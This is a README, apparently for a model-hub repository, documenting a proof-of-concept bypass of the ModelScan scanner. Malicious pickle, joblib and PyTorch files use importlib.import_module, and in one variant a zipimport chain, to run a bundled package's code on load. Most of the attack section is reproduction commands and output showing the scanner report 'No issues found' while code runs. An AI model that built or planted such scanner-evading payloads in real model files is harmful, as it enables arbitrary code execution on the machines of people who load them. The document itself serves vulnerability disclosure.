| --- |
| license: mit |
| tags: |
| - security-research |
| - proof-of-concept |
| --- |
| |
| # ModelScan Scanner Bypass via importlib.import_module β Module Import RCE |
| |
| **Security research artifact. Do not use in production.** |
| |
| ModelScan v0.8.8 does not include `importlib` in its unsafe_globals blocklist. `importlib.import_module(name)` loads a Python module by name, executing its `__init__.py` at import time. An attacker places a malicious Python package alongside the model file; the pickle triggers the import and executes arbitrary code. |
| |
| The .pt variant bundles the malicious package inside the ZIP archive and uses a chained pickle (`zipimport.zipimporter` + `operator.methodcaller`) to import directly from within the archive β a single-file attack requiring no external dependencies. |
| |
| ## Files |
| |
| - `evil_pkg/__init__.py` - malicious Python package (writes proof file on import) |
| - `malicious_importlib.pkl` - pickle file with importlib.import_module payload |
| - `malicious_importlib.joblib` - same payload as joblib |
| - `malicious_importlib.pt` - PyTorch format with evil_pkg bundled inside the ZIP archive |
| - `poc_importlib_bypass.py` - generator script (creates all variants + verifies bypass) |
| |
| ## Important: Regenerate Before Testing |
| |
| The `.pt` file contains a relative path reference (`malicious_importlib.pt`). Run the generator before testing to produce fresh payloads: |
|
|
| ## Reproduction |
|
|
| ```bash |
| pip install modelscan |
| |
| # Generate all payloads: |
| python3 poc_importlib_bypass.py |
| |
| # Scanner reports clean on all variants: |
| modelscan --path malicious_importlib.pkl |
| # Output: "No issues found" |
| |
| modelscan --path malicious_importlib.joblib |
| # Output: "No issues found" |
| |
| modelscan --path malicious_importlib.pt |
| # Output: "No issues found" |
| |
| # Verify code execution (.pkl variant β run from this directory): |
| rm -f /tmp/importlib_pwned.txt |
| python3 -c "import pickle; pickle.load(open('malicious_importlib.pkl','rb'))" |
| cat /tmp/importlib_pwned.txt |
| # Output: "RCE via importlib.import_module β __init__.py executed" |
| |
| # Verify code execution (.pt single-file variant): |
| rm -f /tmp/importlib_pwned.txt |
| python3 -c " |
| import zipfile, pickle |
| z = zipfile.ZipFile('malicious_importlib.pt') |
| pkl = z.read('archive/data.pkl') |
| pickle.loads(pkl)" |
| cat /tmp/importlib_pwned.txt |
| # Output: "RCE via zipimport from .pt ZIP β __init__.py executed" |
| ``` |
|
|